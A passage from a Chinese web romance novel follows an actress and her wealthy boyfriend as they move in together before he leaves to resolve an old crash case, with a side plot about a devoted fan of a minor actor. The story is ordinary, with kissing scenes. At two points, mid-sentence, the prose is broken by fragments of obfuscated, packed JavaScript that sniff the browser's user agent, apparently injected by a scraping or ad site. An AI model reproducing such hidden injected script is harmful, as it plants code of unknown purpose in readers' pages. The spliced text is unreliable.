江砚就站在车门与她之间,看着她说:“待会儿江邱会送你去片场,我回公司办理点事。” 程三好兴致不高,羽绒服的帽子大,几乎遮住了她的眼睛,她只能竭力抬头,才能不被遮挡视线,看清站在车外的男人。 “不顺路吗?” “不顺。” “那没事,我下车,他送你去,我待会儿打车去拍摄地就行。”程三好说着就要抬腿下车。 江砚另一只手按住女生的膝盖,微微俯身,声音放轻了些。 “待会儿我自己开车去。” 程三好不喜欢这种江砚便利她,而疏忽自己的行为。 可能是因为糟糕的天气,亦或者别的因素,她垂着眼皮,嘴角也下拉着,脸上没有什么表情。 察觉到女生周身弥漫的低气压,江砚抬手给她将帽子摘了,弯腰探头进车内,手摸上她下颌,手指一抬下巴,在她唇上落下一吻。 很短,很轻,他退开,手掌顺势插入她的耳后,大拇指摩挲着女生细腻光滑的脸颊皮肤。 “上午就两场戏,你忍一忍,拍完了就现在片场休息,我中午会来接你。” 似乎很喜欢摸她的脸,男人手指总是不老实,但深邃的眼眶这样看着人时很专注。 他说:“到时候回家,随你睡。” 他一直以为她是因为没睡够才会这样的,程三好没跟他解释自己突然心情有些低落的原因,只是抬起眼睛与他对视,莫名说了句。 “我要尽快攒钱买一辆车。” “嗯,是不错的愿景……到时候我出一元的巨资,帮你实现梦想。” 程三好抬手将还在摸自己脸的手给扒拉开,坐正身体,恢复了一点活力。 “那还是算了吧,不如靠我。” 江砚说了声好,从车内退出身体,将车门关上。 站在一边,看见车子扬尘而去,不久便消失在道路的尽头,他才转过身,往地下车库走去。 程三好一个人坐在后面,后知后觉地尴尬起来,想起了前面开车的大活人江邱。 她还未说什么,对方就先开口道:“程小姐,我叫江邱,是老板的随行秘书兼助理。” 程三好看了一眼车内后视镜,点头:“我知道你的名字。” 江邱:“嗯,好的,你旁边有一点简陋的早餐,你可以吃一点,是老板吩咐买的,你放心,保证食品安全。” 程三好这才看到,左手边车门旁边座椅上,还真放着一袋食物。 她说了声谢谢,伸手拿过来,里面有三明治。 刚好也有点饿,就拆开包装吃了几口。 温度骤降得厉害,剧组的大家都缩着肩膀完成拍摄工作。 程三好的两场戏都是在室内拍的,她换上古装的戏服,头发也挽了一个流云髻,很有武侠小说中娴静温良的大家闺秀样子。 早上的最后一场戏一拍完,唐晓丽就捏着长款的黑色羽绒服给女生披上。 程三好不适应地偏过身体,主动将衣服披挂在自己的身上,对着这个很尽职的小助理笑了一下。 “以后这种事情不必你亲力亲为,我可以自己来。” 唐晓丽摇头:“都是我的工作,应该的。” 程三好也摇头:“这是每一个人都应该具备的最基础的行为能力,应该的,应该的……” 唐晓丽已经不止一次地感叹过面前的女生性格好,忍不住笑着说:“你是我工作这么多年,接触过的艺人当中,最没有架子的。” “是吗?”程三好摸着下巴,“因为我糊吧,不是什么大腕儿,不然我也得装逼一回。” 话说出还没落地,她就急忙说了句:“开玩笑的哈。” 在不怎么熟的人面前,程三好到底不敢太过放肆,收敛着点总没错。 和她闲聊了几句后,程三好回到休息室,对着化妆镜,将自己头上的珠钗都摘下来。 古风题材电影,需要戴假发片和接长头发。 她将发髻弄散,长发一溜烟儿地铺展开来。 抬起手,摸索着发片所在的位置,宽大的袖袍退到了手肘边,露出的手臂纤细白润。 忽然听到背后的休息室门打开又被关上的声音,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舌尖略心急地抵开红唇,去到温热的口腔搅弄风云,动作又急又猛。 亲着女生,扶在她腰上的手也没停下,摸索到戏服腰带,布料丝滑,轻轻一抽,带子就落了。 衣服松散,衣襟微微向两侧展开,女生一边的肩头就这样露了出来,雪白地不可思议。 程三好双手已经不知何时搭在了江砚肩上,与男人贴得更紧。 从一开始的被迫承受,到现在她能微微试着回应男人。她渐渐学会了呼吸,不再是憋着一口气的状态。 虽然江砚还是一如既往地亲起来很有掠夺性,让她常常有些踹息不上来。 但也不知道今天是因为临近中午,肚子饥饿的原因,还是别的因素在里面,整个胸腔细胞都在叫嚣,又是兴奋又是酥麻。 她只想跟江砚贴近,不想离开半分。 直到听到休息室的门被人敲响,她拉回了一丝理智,扶在江砚肩膀的手推了推。 男人没动,甚至托住她脑袋往他跟前又带了带。 “三好姐,你在里面吗?”可能是敲门没回应,唐晓丽就开口问道。 程三好听到这声音,睁开眼睛,用力拍了拍江砚肩膀,让他放开自己。 但江砚这一次不知道怎么回事,他依旧在索取,且有一种不会停下来的趋势。 “三好姐。”外面的人又叫了一声,“怎么回事啊……那我进来了?” 这样紧张刺激的情景下,程三好皱着眉,被逼出了眼泪,嗓子里发出一声呜咽。 她握紧手,男人一下离开她的唇,迅速地抓住了程三好要揍他的拳头。 “奇怪,明明应该在这儿的啊。”外面的唐晓丽嘀咕了那么一句,可能见门打不开就离开了。 程三好气得不行,刚想骂江砚,抬眼一看到他的神情,顿时说不出话。 她目光躲闪,莫名口干舌燥起来,本能地想抽回那只离男人腹部只有几公分的手。 谁料刚动,就被江砚顺势抓住手腕拉高,亲在了手背上的那颗痣处。 然后又握着程三好的手主动抚摸他的耳朵,他的脸颊,甚至还偏头这样去蹭了蹭。 看不了一点,女生垂下目光,却突然瞥见自己的衣服长袍不知何时散开了。 长裙下面穿着里衣里裤,所以倒是没走光,但程三好眼睛热得不行,急忙将它拽到一起合拢。 102. 一起住 江砚知道自己差点失控了,他没有放开女生的手,转而插进她的指尖十指相扣,亲了亲她的手背。 这样轻阖着眼眸,看不清里面的情绪,蹙眉的动作不是很明显。 房间内落针可闻,外面院落里却很热闹,想来是午间到了。 江砚闭了一下眼,强行将身体内部的燥意压下去,这才掀起眼皮看了一下对面化妆桌上的女生。 她完全就是一副没事人的样子,饶有兴趣地看着他。 江砚松开了她的手,缓缓站直身体。 程三好已经冷静下来,有余心开玩笑。 “没想到咱们江总也有这么——”她故意停顿了,耐人寻味,“这么小鸟依人的一面。” 话音刚落,刚才视线落在别处的男人忽然转身看着人,然后上前一步,抬手抓住程三好的衣襟。 眼见着他要往两侧拉开褪下,程三好慌了,认怂:“……我错了。” 情急之下,她顾不上什么,只伸手抓住江砚的手腕,阻止他。 男人一双眼睛深深地看着她,程三好被烫得手指蜷缩,面上却一本正经道:“在我面前的,分明是一个丰神俊朗,英俊潇洒的男人,对不对?男朋友……” 江砚松开手,他也不是真的就在这里脱女生衣服。 退后点身体,双手插进大衣的口袋里,就这样与坐在桌子上的女生说话。 “你男朋友觉得对不对我不知道,但我觉得太过敷衍。” 程三好啧了一声:“真难伺候啊,不要因为你长得帅就可以胡作非为。” “我长得帅吗?” “嗯……那是一整个超级无敌,非常特别,史无前例的帅。” “看到我的脸你会感到高兴吗?” “当然。” 男人点头,半晌,忽然道:“分泌多巴胺有助于皮肤变好……所以,要不要搬过来和我一起住?” 程三好面上挂着的笑消失了,低头沉思。 江砚身高一八五cm,肩宽腿长,比她只大了两个月,有车有房还有钱,工作积极上进,深情还专一,有话直说,不藏着掖着。 虽然看着冷漠,但是相处下来却发现他的喜欢是直白的,是炙热的,能及时发现她情绪化不对,疏解安慰。 懂她的小幽默,配合着她,虽然有些时候嘴是毒了那么一点,但本意都是好的。 这样一个帅气多金,打八竿子都找不到的优秀男人,绝对是大多数女生心仪的结婚对象。 程三好想的比较长远,嫁给江砚,那就不单是两个人的感情问题,还涉及到两方家庭。 对方是真正意义上的豪门家族,与她的家庭差距实在太大了。 江砚的亲人肯定希望他能娶到一个门当户对,在他事业上能帮到忙的有钱人家的女儿。 她又抠手指了,在内心挣扎了一番,刚准备说出自己的忧虑,察觉到她状态不对的江砚就开口了。 “你在担忧什么?” 程三好抬眼去看他,良久,说:“……你的爷爷或者亲人们向你提过找女朋友的标准吗?” “活的。” “嗯?”程三好疑惑。 江砚淡淡道:“活着的女性就可以。” 程三好惊讶了,她微张了一下嘴巴,感觉十分不可思议,像是在确认什么一般问:“真的吗?没骗我?” 江砚点头:“没骗你,不论是我的爷爷还是小姨,他们对我找女朋友这件事始终都是抱着,我能找回来就不错了的心态,我们家族并不需要联姻这种东西……” “反而他们的观念相对比较保守,只要喜欢,跟身份地位金钱一律没有关系,认为交往了,就应该好好携手一起走下去。” 江砚的爷爷和爸爸都是情种且专一,而骨子里流着他们血的江砚在这方面上好像也有了一脉相传的脾性,甚至多了几分固执,非她不可的固执。 对方都这么说了,程三好微微放下忧虑,撑着桌面跳到地上,挥手赶人:“我知道了,你先出去,我要换衣服。” 江砚没动,笑了一下:“亲的亲了,害羞什么?” 程三好舔了下自己的牙齿,说:“是吗?” 然后就真的当着江砚的面将外袍褪下,低下头作势要解开白色里衣,摸上带子,没抽,抬眼偷撇了一眼江砚。 对方目光都没有移一下,就看着她。 程三好耳朵没出息地红了,她视线落在窗子上,说了句:“江砚你还真是个混蛋……” 白色的里衣修身,将女生的圆润不露痕迹地凸显出来。 江砚目光落在上面不到一秒就错开,听到女生这一句微微咬牙切齿的话,他转过身,丢下一句:“五分钟。” 程三好想将衣服甩他背上。 大概过了七八分钟,程三好穿戴整齐,离开了休息室。 虽然男人说给她五分钟的时间,但他离开房间,把门带上后,就站在外廊道,到时间没催也没进去。 程三好上身是一件偏日系的墨蓝色牛角扣大衣,下身是一条青灰色的半身百褶裙,脚上踩着一双橙黄色的雪地靴。 她假发片已经取了,长度至肩膀下面一点。 江砚见人出来,没牵她。 二人并肩离开了拍摄地,去餐馆吃了午饭,回江砚住处的路上,程三好想起什么似的一拍腿。 “对了,我的行李还在酒店。” 她这几天沉迷于美色,昏过头了。 江砚目视前方,语气无波无澜:“我让你助理送过去了。” “什么时候的事啊?” “你埋头吃饭,不与我说话的时候。” “真的,以前怎么没发现江总你这么……” 江砚已经倒车入库,停下来,偏头看了女生一眼。 那一眼和平时没什么区别,但程三好就是察觉到了一点凉飕飕的感觉,于是她及时改了口:“这么……这么的可爱迷人。” “是吗?”江砚挑眉,“我看某人也是欠亲,亲了才乖。” 程三好已经解开安全带打开车门,下了车,走到前面,满脸正气:“江总你可是君子,君子。” 同样下了车的江砚牵住人的手,塞进自己的大衣,步入电梯时,他 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两人只在电影拍摄期间在这里短暂住几天,所以硕大的衣柜里有三分之二的空间是空着的,尽管程三好将衣服都拿出来挂上,还是很有空余。 行李箱打开,铺在地板上,她站在卧室整理衣服。 江砚从进了屋后,就拿着电话去了阳台。 风吹动窗帘,男人背靠着推拉门,一只手握着手机在说话,另一只手搭在腰间。 他的大衣已经脱了,定制的黑色有质感的西装外套没系纽扣,就这样敞着,里面熨烫规整,贵气拉满的白色衬衫显眼。 少年时期喜欢将手插在裤袋,如今虽然很少,可以说基本上没有插兜的习惯,但却有了手指向下张开,撑在腰上的行为,可能是因为个高的原因。 他站着的时候,这个姿势会让他更舒服,重心落在脚上。 小区很安静,这个时间段,路上基本看不到人。 江砚收回视线,眼皮又薄又冷。 电话那头的人是江邱,声音从手机里涌出来。 “我们兄弟几个这几天一直暗地里寻找,直到找到了她女儿家里。她说他爸已经消失好几年了,她不知道,然而等我们离开鹿城,准备上黄威高速时,就是那个收费站与山路的交叉口,小时他们突然被横空出现的他拦住,于是将人带了回来……” “他现在在哪?” “老宅。” “老头子怎么说?” 那头的江邱似乎是沉默了一下,才说:“他们在下棋……。” “……行,我知道了。”江砚挂断电话。 他盯着朦胧的灰色天空看了几秒,侧脸有些绷紧,直到屋内女生喊他。 “江砚。” 男人面上恢复淡然,站直身体,边朝屋里走边应声:“怎么了?” 他的声音消散在阳台,米白色的窗帘卷着波浪,在风的吹拂下摇曳飘扬。 露天阳台上空无一物,一片不知从哪儿吹来的橡树叶子,犹如河流上飘荡的小船,晃晃悠悠地停靠在门边。 103. 依恋 程三好刚才在卧室挂衣服的途中,只要脑袋一想到同居二字,她就浑身不自在。 但是这种不自在是纯属的自己找罪受的那种,她想和江砚靠得更近,想让彼此生活中有对方的存在,想要一起走得更远,那这是必须要经历的,可能这就是甜蜜的负担吧。 直到开始整理内衣内裤时,手提着,她有种好像这衣物不是她的感觉。 好在衣柜中间用木板隔开,她衣服都挂在一边柜子里,江砚想来平时不会注意到。 将一个行李箱中的衣服都挂出来,她蹲下身,拉上拉链,提起来推到墙边。 完成这一切,她拍了拍手,出了卧室,将自己回家时买的一袋葡萄拿进厨房,在水龙头下冲洗。 洗干净,沥干水分,她端着盘子回到客厅沙发坐下,见江砚已经挂了电话,但还站着,就忍不住叫了他一声。 他说着话走过来的几秒内,程三好已经吃了好几个葡萄。 余光见他走到了沙发背后,程三好自然地投喂。 江砚似乎是怔了一下,转瞬低头,张嘴含住那颗葡萄。 程三好期待地问:“怎么样?甜不甜?” 江砚看着女生期待的眼神,说了句:“没什么味道。” 程三好不信,说:“你一个不能吃辣的人,口味这么重?” 江砚说:“我不知道。” 他回到沙发正面,坐在程三好身侧,脸色如常:“可能是一颗太少了,你再投喂一颗试试。” 程三好点头,像是很赞同他的说法。 她坐姿不老实,整个身体是朝着江砚的,一只腿曲着搭在沙发上,一只脚落在地面。 伸手从茶几上的白色瓷盘中拿出一颗葡萄,递到江砚的嘴边。 男人微抬下颌,正要张嘴,到手的葡萄突然长脚了一般,跑进了旁边女生的嘴里。 程三好得逞了,圆润的葡萄在牙齿磕碰,汁水甜蜜,眼角弯着,乐得不行。 “江总现在真是越来越坏了,竟然能光天化日之下,明目张胆地耍流氓,”她得意地笑,“我可不会那么傻。” 江砚面上看不出任何尴尬,他也侧过身对着女生,方便这个姿势,腿也会微微曲着搭在沙发上。 “我们来打个赌?” “嗯嗯,你说。” “这次你喂我,我保证不吃……” “如果吃了呢?” “不可能。” “这么自信?但还是得先说断后不乱,如果你输了,你得给我一张百分百服从券。” “行,我没吃,就你输,赌注就是这张券。” 男人这个姿态很松弛,眼睛也很认真。 程三好仔细地端详了一会儿,嗯了一声,说:“好。” 然后两指拿起一颗葡萄,向前递到江砚嘴边。 周遭很安静,程三好感到莫名地刺激,然而刚递到他的嘴唇几公分前,男人一下抓住了她的手腕,低头连她的手指一并含进了嘴里。 “你……”她震惊了,“耍赖……” 江砚松开她的手,咬住圆润的紫色葡萄,笑着来亲她。 程三好往后退,不让他亲。 江砚还握着她的手腕,原先曲在沙发上的腿顺势直起来跪在上面,伸长脖颈去追着亲。 程三好被迫一下仰躺在沙发上,江砚在她平躺在沙发上之前就已经亲到了她的嘴唇。 她一躺,他紧跟着单膝跪在沙发上,俯身继续亲她。 两手伸展向前撑在女生脑袋两侧的位置,舌尖撬开女生的嘴唇,将咬破皮,汁水流出来的葡萄推进她的口腔,像是在追着一个圆溜溜的,泛着甜蜜果汁的球,在女生嘴里攫取着。 他每一次含住程三好的唇舌,那颗葡萄就会变换位置,溢出更多的汁水。 程三好下意识吞咽着,听到接吻发出的水渍声,她有些招架不住——实在太瑟气,太让人脚趾抓地。 她推了推上方人的胸膛,纹丝未动。 他很冷淡,但在接吻这件事上从不含糊。 程三好不止对浪漫有点过敏,对害羞的情绪也有点抵触,因为会让她变得不像自己。 于是在江砚吮了一下她舌头退开的那一瞬间,刹那间将葡萄迅速吞进了肚子。 她闭着眼睛,眼前一片黑暗,能明显地感觉到已经退出去的江砚,舌尖又抵了进来亲她。 咬她的软肉,舔舐她的软唇,也不知道是察觉到甜味有所减淡,还是已经将她口腔里里外外都用舌头摸索了个遍,他动作停下来,发现葡萄没在了。 程三好虚虚地睁着眼睛,看了一眼上方的人。 见他已经掀起眼皮,深邃的眼眸看着她。 于是她就假装刚从酣畅淋漓的亲吻中回过神来,也睁开眼睛。 “你吞了?” “……对,是我,那又怎么样?”程三好心里虚,脸颊泛上红晕,一抬下巴,理直气壮。 空气静默几秒。 一直俯身看着她的男人突然曲起手臂,食指骨节抵在下唇处,偏过头笑起来,笑得眼尾炸花,身躯微微抖动。 这样的笑,程三好只在几年前操场上那个乌龙事件中见过,那神情简直一模一样。 恍惚中,他依旧少年。 他气质太过特别,生活在那样的环境中,过早的成熟,与别样的经历,让他比同龄人更快,更猛地被打磨,被锻炼,成长肩负起责任。 于是让他早早地在众人心中便有了高冷禁欲,不可言笑,不可冒犯的形象,连程三好重逢他以后,也一度有些不敢靠近。 他那周身弥漫开来的冷漠,高高在上的凌然感,是真的会让人产生退缩,畏惧。 可现在互通心意后,站在她跟前的江砚才是最为完整的。 他有着少年人的恣意,落拓,偶尔还会幽默一下,这一面是外人所不能得知的。 仔细想来,其实他和程三好同岁,只比她大了几个月。 二十多岁的年纪,寻常男生做不到他这么稳重,有他这么稳重的,没他年轻,所以他真的很特别,顶着那么一张冷冰冰的脸笑起来,反差感就像致命的陷阱,路过的狗都要看一眼,更何况程三好。 色令智昏这几个字,在某种意义上,某一刻,她理解并切身体会到了。 不过,她不是外貌协会,她绝对不会被吸引的…… 外面阳台处的冷风断断续续吹来,沙发对面墙上巨大的电视显示屏倒映着二人。 江砚只笑了一下,很短暂。 他放下手,扭过头来看身下的女 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等了片刻,微微侧头去看女生,整个肤色恢复了正常,就是耳朵还有点绯色。 他把她的头发理到背后,又将肩头的毛衣拉上来。 沙发是浅灰色的,前面原木色茶几上放着的盘子中,紫色葡萄上的水珠反射着窗外照射进来的光亮。 女生埋着头,跨坐在他腿上的身体暖烘烘的,穿着白色长袜的脚趴在沙发上,很显眼。 时间在指尖流逝,江砚感受着当下,偏头亲了下女生的耳垂。 “小红人。”他话里有笑意。 一番激烈的悸动之后,程三好宛若那什么事后一般,突然变得心如止水,进入贤者模式。 闻言,淡淡反击:“大、色、魔。” 她的语气无悲无喜,懒洋洋的拖着调子。 这样面对面地坐着,程三好全部的重心都压在江砚身上。 他抱着人,两人紧紧贴着,彼此的热量都传递给对方。 人是实心的,抱着很安心。 江砚滚烫的呼吸都浇在女生的侧颈,嗓音温和:“我今晚不回来了,小红人要一个人睡。” 程三好从江砚的颈间抬起头,下巴搁在他的肩膀上,打了一个哈欠,无所谓地说:“大坏蛋并不需要有同理心,你去你的。” “我怕某人没有我,夜不能寐。” 程三好扯着嘴角,呵呵一笑:“说的好像有你在,我们就能睡一张床似的。” “那万一我走后,你想我想得很,要我陪你睡怎么说?” “怎么说?当然是张嘴说,不可能。” 她语气冷漠得很,就像一个绝情的小渣女,半点不带想人的。 不像江砚,还未离开,就已经生出了不舍。 他依恋这样的温存,喜欢稀疏平常的相处。 双手环上她的腰,抱着人往后坐了坐。 他看着她的眼睛,说:“可能要走一个星期。” 程三好的双手都被人握着,闻言,轻皱了一下眉:“是发生什么事了吗?” 江砚犹豫瞬息,还是告诉了她。 “还记得我当年跟你说过的,关于我家的事吗?” 104. 小分别 “嗯。”程三好点头,认真听。 “我当年离开学校的路上遭遇车祸,撞击我们车的那一辆白色货车的司机师傅就是江灼——他是我爷爷的出行司机兼保镖,同时也算得上我的半个师傅……他背叛了江家,投靠了江权清。” “我醒来后没有了记忆,不知当年实情,只是在与江权清的较量之中,好不容易抓到他的一点把柄,将他送进了监狱。但是那点罪责并不能让他蹲一辈子监狱,他还是出来了。” “我就一直在找他,看在手中,总比得他在外面乱晃,趁机报复要来得好。但我也只能将他看守住,并不能拿他怎么样……直到我恢复记忆,想起了江灼。” “他一定是听从江权清的指示才来干这件事,只要他肯向警察交代一切,背后主谋判的刑也绝对不会比江灼少。” “当年那桩案件中,我受伤,两个人死亡,判他个二三十年不成问题。” 程三好抓住重点,问:“那失踪的江灼找到了吗?” 说到这儿的时候,江砚顿了一下,他说:“不是我们的人找到他……是他自首了,不管原因如何,也总归是好事。” 江砚低头玩着女生的手指,道:“所以我要过去彻底将这件事做个了结。” 程三好听他说完,觉得这是一件好事,应该高兴才对,但见江砚神情不似平日那般轻松,她脸色平静道:“有需要我两肋插刀的地方,你电话你吱一声,我徒步走过去。” 江砚笑起来,轻摇了一下头:“我分明在担心你,反倒你安慰起我来了。” “担心我?”程三好挑眉,“不如担心担心你,我有什么让你操心,需要担心的地方吗?没有,对不对。” 江砚这个时候就不跟她说实话了,只是说:“行,只要我回来没见到家中有其他男人的身影就行。” 程三好摸着下巴:“是说留下一两根他的头发是可以的是吧?” “你可以试试。” 他面容温和,程三好却觉得周围空气下降了几度。 “咳,”她岔开话题,“什么时候走?” “下午四点。” “那还有半个小时。” “嗯。” “行李什么的,都收好了吗?” 程三好说着,要从他腿上下来,没成功,因为江砚又将她揽在了怀里。 “我没有什么要准备的。” “那你是把我当抱枕了吗?” “没抱枕软。” “那不许抱我。”程三好说着话,却没动。 接下来两人都没有说话,他们安静下来,就只是面对面抱着。 凉风几许,日光渐淡。 过了二十多分钟,江砚睁眼,抬起手看了一眼腕表,马上就要到四点了。 他睡了十几分钟,没有闹钟,一下就醒了。 怀里的人呼吸匀长,显然睡得熟。 他就着这个位置,托住人的屁股,将女生抱回了卧室,把她放在床上,盖上被子,转过身抬腿要走,刚出一步,又折返回来,亲了她一下,果断抽身离开。 将门轻轻带上,又去把阳台的窗帘拉上,门也关好,才拿起茶几上的手机以及沙发上的大衣离开了房间。 — 一直睡到天黑,程三好迷糊着醒过来,惺忪着眼,看清房间。 只拉了一层纱帘的窗帘并不能完全遮挡外面的光亮,所以借着月色,房间内才不会黑得吓人。 她不知道自己是如何回到床上的,但能猜到。 手机一看,时间八点半,跳出来的信息很多,但没有一条是江砚的。 有他在的时候,一颗心都悬在半空,总有些局促和紧张,现在人走了,才发现这整个房子空荡荡的,空得人心里发慌。 她点进对话框,想要问他到了吗,事情怎么样了,却又怕自己打扰他。 她的搞笑不是假的,敏感是真的。 见到人,看得到对方的表情,知晓对方当时心情,能更好地交流谈话。 可相隔两地,就一个手机,不知道对方发来那句话时的神情如何,可能就是一句正常不过的“干吗”之类的字眼,全凭当天的心情如何,解读出万般感受。 这大概就是现在年轻人都扛不住异地恋的原因,那不单是距离的问题,主要还是沟通和信任,以及那一份坚定的安全感。 程三好将对话框里的字通通删除掉,在这个时候,脑子里想起的竟然都是江砚冷淡漫不经心的脸。 她觉得自己魔怔了,这才分开几个小时,就有了一种强烈的割裂感,像是梦醒了,周围只有自己一个人的那种落空感。 二十多年来第一次认真地谈恋爱,第一次体会到了别人口中所说的患得患失的感觉。 自嘲地笑了笑,正要放下手机下床,铃声突然响了起来。 手机嗡嗡地震动着,程三好看了一眼,已经落地的一只脚倏地收回,背依靠着床头,接听起来。 “喂……” “……”那头没人说话。 程三好咬了下自己的下唇,眼睫忽闪:“江砚……” “嗯,是我,醒了吗?” “是鬼在跟你通电话吗?” 男人的背景很安静,没有嘈杂的声音,所以他轻笑的声音就这么清晰地透过手机听筒传入程三好的耳朵。 可能因为设备的关系,声音要比现实里听着磁性一些。 “我一直在等你。” 程三好手指抠着被套:“等我干什么?” “等你打电话给我……发消息也行。” 程三好对自己刚才一番操作,终究放弃发消息的行为避而不谈,面不改色道:“我刚醒。” “我知道,所以才说,我一直在等你,是怕打电话过来吵醒你……回家可能不小心就看到了沙发上留下陌生男人的几根短发。” 程三好笑了一下:“只要你在外面洁身自好,不要沾花惹草,这个家……我就可以让你进。” “有了钥匙,某人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我倒是没什么……虽然知道你应该都清楚,但我还是要提醒一句,从现在开始,争取尽量保持作息规律,饮食健康,早睡早起。” “演员的脸是很重要的,如果要在上面弄什么项目的话,一定要提前跟我报备……恋爱也是,这次你做得很好,知道提前跟我说。” 跨年夜那晚,和江砚确定关系后,程三好就跟张燕说了,总比对方问的好,而且江砚太明显了,别人想不察觉到都难。 两人接下来又聊了些话,都跟工作有关。 张燕不愧是专业的,科普了好多程三好不知道的圈内“规矩”。 她条理清晰,给女生规划好当下的目标,就是让她走入大众视野。 在那些知名制片人,著名大导演找程三好之前,最起码,最基本的就是,她人要曝光,要在电视剧或者综艺里都有露面,在网上有讨论度,有话题。 你人成了真正意义上的“女艺人”“女明星”,不乏有导演代言主动找过来。 程三好听得认真,不知不觉就到了夜间十点过。 张燕抬手看表,站起身:“早点睡,今天就先到这。” “嗯,张姐你慢走。”程三好起身,送人至玄关。 105. 做他的站姐 鹿城某横店,一辆黑色的商务车停靠在路边。 在这辆车的前方还排列着三辆房车,上面下来的演员是已经有流量小火一把的男主演和风头正盛的女主演。 赵柯没他们这种待遇,经纪人打开车门下去,他紧跟着下了车。 抬起脚往片场走,有一小段路。 马路对面一个扛着价格昂贵相机的女生一边拍照,一边如往常一般,跟他打招呼。 “哥哥,早上好。” 这半个月来,这个女生雷打不动地每天来蹲守,一开始用手机拍,后来就换了设备。 其他演员站姐都有两三个,所以这种情景并不奇怪,经纪人更是巴不得赵柯也有个财大气粗的站姐。 赵柯离上次拍戏已经过了六年,在这个更新迭代特别快的娱乐圈,他早已被人淡忘,更何况当年处在事业上升期,还没有大火就一下息影,根本就没有什么粉丝。 他不想火,他现在拍戏,接的角色都是男二男三等那种分量不重的,就是纯粹当做上班一样,赚个辛苦钱。 所以,他不需要“媚粉”,他正常工作就行。 于是,他很快移开视线,冷漠着脸进了拍摄棚里。 萧童盯着回放看了一眼,她神情自然,看不出任何失落,或者自从决定来追他这颗星的时候,她早已做好了准备。 她从不奢求他能给她像其他演员对待粉丝一样,有所回应,她就只是单纯地想支持他。 横店周边有咖啡厅,萧童走到里边,在一个窗边的位置坐下,拿出笔记本,剪辑视频,编辑图片发到了茄子视频上。 没几秒,就冒出了几条评论。 “好帅!” “路人,这谁啊,长得还挺帅的。” 萧童在那条评论下恢复:“演员赵柯,正在拍摄电视剧《思君》,到时候感兴趣,姐妹可以支持一下。” 那个网友没有回复,关注萧童的几个网友却陆陆续续留言。 【姐姐是他的粉丝吗】 【肯定是啊,主页全是这个男演员的视频】 【好冷淡啊,是我早跑了】 萧童不怎么会说话,也是第一次追星,什么也不懂,只是认真地回复那些评论。 完成后,她退出茄子视频,开始自己的工作。 她是作家,只要一台笔记本,什么地方都适合办公。 半个月来,她一直这样,在赵柯上班和下班时出现,和他打招呼,拍摄视频,在网上安利,其余大多时候她都在这家咖啡厅。 今天出来穿得不厚,温度又低,萧童感到疲倦,身体酸痛,她合上笔记本,抬手一看手表,觉得差不多了,又拿起桌子上的相机去到赵柯商务车停驻的地方。 她就站在马路对面,从不过分靠近打扰。 男生裹着羽绒服下台阶,萧童精神虽然不济,但还是将镜头对准了,等到对方走到马路转身往车上走,她张口,说:“哥哥辛苦了,回去可以泡个脚,早点睡嗷。” 她年纪刚满二十,一口一个哥哥,让人听了不反感。 语气像是在哄小朋友,脸蛋上的神色很稚嫩。 可能因为读书多或者所谓的作家身上那股自带的文艺感,像这样在大街上,追着个人甜甜地喊,女生一开始还经常结巴,羞涩,后来就习惯了,也大胆了,叮嘱的话渐渐也多了起来。 她五官清秀,嗓音清透,属于耐看的类型。 赵柯抬脚上了车,面上没有什么表情,甚至没有看一眼。 只是车子行驶过那个路边站着的女生身旁时,他眼眸一动,不动声色地瞥了一眼。 第二天,温度依旧低得吓人。 二月中旬,寒冰代替大雪,砭骨的冷风刮得人生疼。 赵柯打开车门,下意识缩了一下脖子,脚落在地面也小心。 他目视前方,没有听到熟悉的声音。 余光里克制地扫了一秒,脚下的步伐没停。 赵柯踹在兜里的手指动了一下,神情看不出所以然。 — “没事,就是有点发烧。”萧童躺在床上,额头还贴着退烧贴,握着手机在与自己的编辑说话。 “吃了药了吗?” 萧童:“吃了。” 编辑:“行,好好休息,不要强撑。” “嗯,我知道了。”萧童说完,挂断了电话。 她脸色烧得酡红,嘴唇干得起皮,心里惦记着事,但药效上来,渐渐睡了过去。 一直到天黑,因为肚子饥饿发出抗议,萧童才挣扎着醒过来。 她浑身出了汗,明显感觉有了点力气,拿出体温计一测,果然,退烧了。 支撑着给自己做了一碗鸡蛋面,她握着筷子在餐桌上,一边吃,一边划着手机。 消息图标亮着,显示有好几条新消息。 她点进去,都是她已经发过的视频留言。 【姐妹,今天怎么没更新啊,猫猫大哭.jpg】 【我每天都要看你的视频才睡觉,总觉得你和他之间有种宿命感,好好磕】 【你不粉他了吗?我好不容易才粉上,[撒泼打滚]】 萧童有点惊讶,又感到惊喜,在那些评论下恢复:“我没脱粉,这辈子都不可能的哈哈……我只是生病,今天就没去。” 可能这个时间段大家都在上网刷视频,网友很快回复,【原来如此,姐妹注意身体嗷,现在我也是赵柯的粉丝,希望有一天我们能一起去线下追他】 【好啊】 萧童开心,她没有朋友,独来独往惯了,现在因为一个人的连接,她竟然别样的拥有了一群友善可爱的网友朋友。 那碗鸡蛋面最后连汤汁也没剩,暖黄的灯光氤氲在厨房,餐桌旁已经没有了人。 车轮碾过路面,刷着红漆的墙头往后褪去,商务车除了挡风玻璃都贴了膜,人从外面朝里看,是看不清的。 棕黄色暗淡,带着一点浅灰,赵柯坐在后座。 他前方是驾驶座,经纪人的头遮挡了他的视线。 赵柯还是很瘦,因为角色的需要,他额头的头发有剪短一些,露出了眼睛。 他坐着,背微微向前弓着,双手也插在羽绒服兜里,半点没有明星的样子。 视野中,建筑物像细碎光怪陆离的梦境,看不真切,留不下具体的感受。 眼皮耷拉着,嘴角平直,光影偶尔打在他的脸庞。 身体忽然晃动一下,车子停下来。 经纪人下了车,赵柯回过神,伸手打开车门的手修长白皙。 “哐当——”车门一用力,向一侧滑去,发出的声音闷闷的。 寒风肆虐,尽数跑进了宽大的衣服下摆。 赵柯一手撑在车门,一只脚落到地面。 他站稳,像是有片刻的停顿,不明显。 紧接着,眼皮一动,微微向上抬,睫毛像片扇动的蝴蝶翅膀,空气浅浅流动。 萧童见人走上马路,喊他:“哥哥,早上好。” 